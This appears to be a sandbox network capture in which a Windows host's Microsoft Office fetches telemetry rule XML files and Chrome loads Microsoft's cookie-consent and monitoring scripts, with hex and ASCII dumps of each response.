2024-12-03 16:41:54 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49825	13.107.246.63	443	1836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:54 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:41:54 UTC	713	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:54 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 34580 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4a53b8f3-e01e-0034-5e51-451352000000 x-ms-version: 2009-09-19 x-azure-ref: 20241203T164154Z-174f7845968frfdmhC1EWRxxbw00000016900000000093we Accept-Ranges: bytes
2024-12-03 16:41:54 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-12-03 16:41:55 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-12-03 16:41:55 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:54 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:55 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:54 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: fe90239e-101e-0017-14ee-4447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164154Z-174f7845968swgbqhC1EWRmnb4000000167000000000xuzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:55 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:54 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:55 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:55 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e9f7249a-b01e-00ab-72be-42dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164155Z-174f7845968psccphC1EWRuz9s00000016a000000000wq0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:55 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:55 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:55 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:55 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: abb43699-601e-00ab-6df2-4466f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164155Z-174f7845968glpgnhC1EWR7uec00000016c000000000b6mu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:55 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:56 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:56 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 455ca8e2-201e-0000-70f9-44a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164156Z-174f7845968kvnqxhC1EWRmf3g0000000sz000000000hdmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:56 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49832	13.107.246.43	443	1836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:56 UTC	633	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-12-03 16:41:57 UTC	814	IN	HTTP/1.1 304 Not Modified Date: Tue, 03 Dec 2024 16:41:57 GMT Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241203T164156Z-174f7845968zgtf6hC1EWRqd8s0000000z1000000000wd3v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:56 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:57 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:57 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b189b901-c01e-0079-3391-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164157Z-174f7845968kvnqxhC1EWRmf3g0000000t300000000025kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:57 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:57 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:57 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:57 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 5c1224a4-501e-0029-53ee-44d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164157Z-174f7845968zgtf6hC1EWRqd8s0000000z6g000000006xyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:57 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:57 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:57 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:57 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: b7ec0bbd-e01e-0071-43ee-4408e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164157Z-174f7845968cpnpfhC1EWR3afc00000015vg000000009b9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:57 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	49835	13.107.246.63	443	1836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:57 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
